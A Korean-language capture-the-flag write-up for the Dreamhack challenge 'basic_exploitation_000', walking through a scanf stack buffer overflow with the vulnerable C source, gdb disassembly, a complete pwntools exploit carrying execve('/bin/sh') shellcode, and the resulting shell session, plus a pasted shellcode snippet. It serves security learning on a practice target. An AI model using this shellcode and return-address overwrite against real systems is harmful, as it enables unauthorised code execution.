basic_exploitation_000

다운 받은 c 파일을 열어보면 다음과 같다.

Start here | basic_exploitation_000.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%l4ls", buf);

    return 0;
}
```

128바이트인 buf에 scanf로 읽어드린다.

scanf로 읽어드리는 것에서 문제가 생긴다. scanf함수는 입력받은 데이터의 크기를 고려하지않고 모두 복사하는 bof 취약점을 가진 함수이다. 따라서 우리는 scanf를 이용해 return address부분을 건드릴 수 있을 것이다.

c파일 내에 shell를 여는 함수가 보이지 않는다. 직접 쉘코드를 입력해주어야 하는 듯 하다.

그리고 제일 처음에 buf의 주소를 알려준다. 그럼 우리는 buf에 쉘코드를 입력하고, 쓰레기 값을 마구 넣은다음 return address를 buf의 주소로 바꿔주면 될 것 같다.

gdb에서 보면은 buf가 `[ebp-0x80]` 에 있는 것을 알 수 있다.

```
leede@leede: ~/dreamhack
0x08048610  __libc_csu_init
0x08048670  __libc_csu_fini
0x08048674  _fini
gdb-peda$ disas main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     add    esp,0xffffff80
   0x080485df <+6>:     call   0x8048592 <initialize>
   0x080485e4 <+11>:    lea    eax,[ebp-0x80]
   0x080485e7 <+14>:    push   eax
   0x080485e8 <+15>:    push   0x8048699
   0x080485ed <+20>:    call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:    add    esp,0x8
   0x080485f5 <+28>:    lea    eax,[ebp-0x80]
   0x080485f8 <+31>:    push   eax
   0x080485f9 <+32>:    push   0x80486a5
   0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:    add    esp,0x8
   0x08048606 <+45>:    mov    eax,0x0
   0x0804860b <+50>:    leave
   0x0804860c <+51>:    ret
```

그러면 제일 밑에 return주소가 들어 가고 그 위에 이전 ebp값이 저장되어 있고 그 위에 바로 buf[0x80] 만큼 있을 것이다. 그리고 32bit 이므로 주소는 4바이트 만큼 차지 할 것 이다.

따라서 buf에는 128(0x80) + 4 만큼 값을 넣어주고 뒤에 buf의 주소값을 넣어주면 return 주소를 바꿀 수 있다!

이제 pwntool로 만들어보았다!

```
from pwn import *

p = remote("host1.dreamhack.games",13953)

buf = int(p.recv()[7:17],16)
print("buf address : "+hex(buf))

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90"*106
payload += p32(buf)
p.sendline(payload)

p.interactive()
```

다음 코드를 실행시켜보면 다음과 같이 flag값을 알 수 있당!!

```
leede@leede:~$ python3 shellcode.py
[+] Opening connection to host1.dreamhack.games on port 20476: Done
buf address : 0xffc75b98
[*] Switching to interactive mode
$ ls
basic_exploitation_000
flag
$ cat flag
DH{                              }$
[*] Interrupted
```

(쉘코드 모음) 다음 사이트를 이용하여 쉘코드를 가져왔당!

쉘코드 모음 Shell Code (64bit 버전 포함)

25 Bytes Shell Code
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\
x0b\xcd\x80 26 Bytes Shell Code \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89..

https://mandu-mandu.tistory.com/22